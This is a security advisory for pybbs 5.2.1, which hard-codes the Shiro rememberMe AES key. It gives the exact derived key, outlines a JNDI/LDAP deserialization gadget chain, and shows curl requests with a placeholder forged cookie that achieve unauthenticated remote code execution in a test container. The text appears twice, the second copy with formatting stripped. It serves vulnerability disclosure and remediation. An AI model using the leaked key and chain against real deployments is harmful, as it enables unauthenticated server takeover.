Summary
pybbs hard-codes the Shiro rememberMe AES key in ShiroConfig.java:128. An unauthenticated attacker can forge a rememberMe cookie, let Shiro decrypt and deserialize it before authentication, and reach remote code execution inside the application container.
Details
At src/main/java/co/yiiu/pybbs/config/ShiroConfig.java:97-128 the application enables rememberMe and sets a fixed cipher key derived from the literal string "pybbs is the best!".
// ShiroConfig.java:97
securityManager.setRememberMeManager(rememberMeManager());
// ShiroConfig.java:123-128
@Bean
public CookieRememberMeManager rememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
// hard-coded AES key (public in source)
cookieRememberMeManager.setCipherKey(Base64.encode("pybbs is the best!".getBytes()));
return cookieRememberMeManager;
}
setCipherKey uses the raw bytes, so the effective AES-192 key is the Base64 string cHliYnMgaXMgdGhlIGJlc3Qh. Shiro 1.4.0 decrypts and deserializes the rememberMe cookie during subject resolution on every request, before any authc/authz filter. Any endpoint reachable without login, such as IndexController.java:42 (GET /), is sufficient to trigger the chain.
PoC
Deploy with Docker on 127.0.0.1:8108: The exploit cookie is built from the hard-coded key and an array-free JdbcRowSetImpl stage-1 that fetches a CommonsBeanutils1 stage-2 from LDAP.
NORMAL — anonymous request without rememberMe:
curl -i -H "Accept: text/html" "http://127.0.0.1:8108/"
Observed response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=DALGbSUEMycaRrIZ-OcQTqzr5HtJqLLdSxigfdTz; path=/
Content-Type: text/html;charset=UTF-8
VULNERABLE — request with the forged rememberMe cookie:
curl -i -H "Accept: text/html" \
-H "Cookie: rememberMe=<cookie_green.b64>" \
"http://127.0.0.1:8108/"
Observed response:
HTTP/1.1 200 OK
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0
Set-Cookie: JSESSIONID=8E88jpaVsE7epokQbww5Hf1xs4CSxXaPyvfKiOTZ; path=/
Content-Type: text/html;charset=UTF-8
After a few seconds the attacker command has run inside the app container:
docker compose -f env/docker-compose.yml -p pybbs-shiro550 exec app cat /tmp/pybbs_shiro550_rce
Observed output:
uid=1001(pybbs) gid=1001(pybbs) groups=1001(pybbs)
PYBBS_SHIRO550_RCE_pybbs
Impact
Any network client that can reach a default pybbs 5.2.1 deployment can execute arbitrary commands as the application user (uid=1001(pybbs) in the verified container). The attack is unauthenticated and works against any endpoint because Shiro resolves rememberMe before the authc filter chain.
On JDK 8u191 and later the pre-auth decryption/deserialization primitive still succeeds, but the JNDI → stage-2 hop requires com.sun.jndi.ldap.object.trustSerialData=true unless a different array-free local gadget is used.
Suggested Fix
Generate a per-deployment random rememberMe cipher key at startup and load it from configuration, instead of hard-coding it in source. Upgrade Shiro and restrict deserialization with an ObjectInputFilter allowlist.
Summary
pybbs hard-codes the Shiro
rememberMeAES key inShiroConfig.java:128. An unauthenticated attacker can forge arememberMecookie, let Shiro decrypt and deserialize it before authentication, and reach remote code execution inside the application container.Details
At
src/main/java/co/yiiu/pybbs/config/ShiroConfig.java:97-128the application enablesrememberMeand sets a fixed cipher key derived from the literal string"pybbs is the best!".setCipherKeyuses the raw bytes, so the effective AES-192 key is the Base64 stringcHliYnMgaXMgdGhlIGJlc3Qh. Shiro 1.4.0 decrypts and deserializes therememberMecookie during subject resolution on every request, before any authc/authz filter. Any endpoint reachable without login, such asIndexController.java:42(GET /), is sufficient to trigger the chain.PoC
Deploy with Docker on
127.0.0.1:8108: The exploit cookie is built from the hard-coded key and an array-free JdbcRowSetImpl stage-1 that fetches a CommonsBeanutils1 stage-2 from LDAP.NORMAL — anonymous request without
rememberMe:Observed response:
VULNERABLE — request with the forged
rememberMecookie:Observed response:
After a few seconds the attacker command has run inside the app container:
docker compose -f env/docker-compose.yml -p pybbs-shiro550 exec app cat /tmp/pybbs_shiro550_rceObserved output:
Impact
Any network client that can reach a default pybbs
5.2.1deployment can execute arbitrary commands as the application user (uid=1001(pybbs)in the verified container). The attack is unauthenticated and works against any endpoint because Shiro resolvesrememberMebefore the authc filter chain.On JDK 8u191 and later the pre-auth decryption/deserialization primitive still succeeds, but the JNDI → stage-2 hop requires
com.sun.jndi.ldap.object.trustSerialData=trueunless a different array-free local gadget is used.Suggested Fix
Generate a per-deployment random
rememberMecipher key at startup and load it from configuration, instead of hard-coding it in source. Upgrade Shiro and restrict deserialization with anObjectInputFilterallowlist.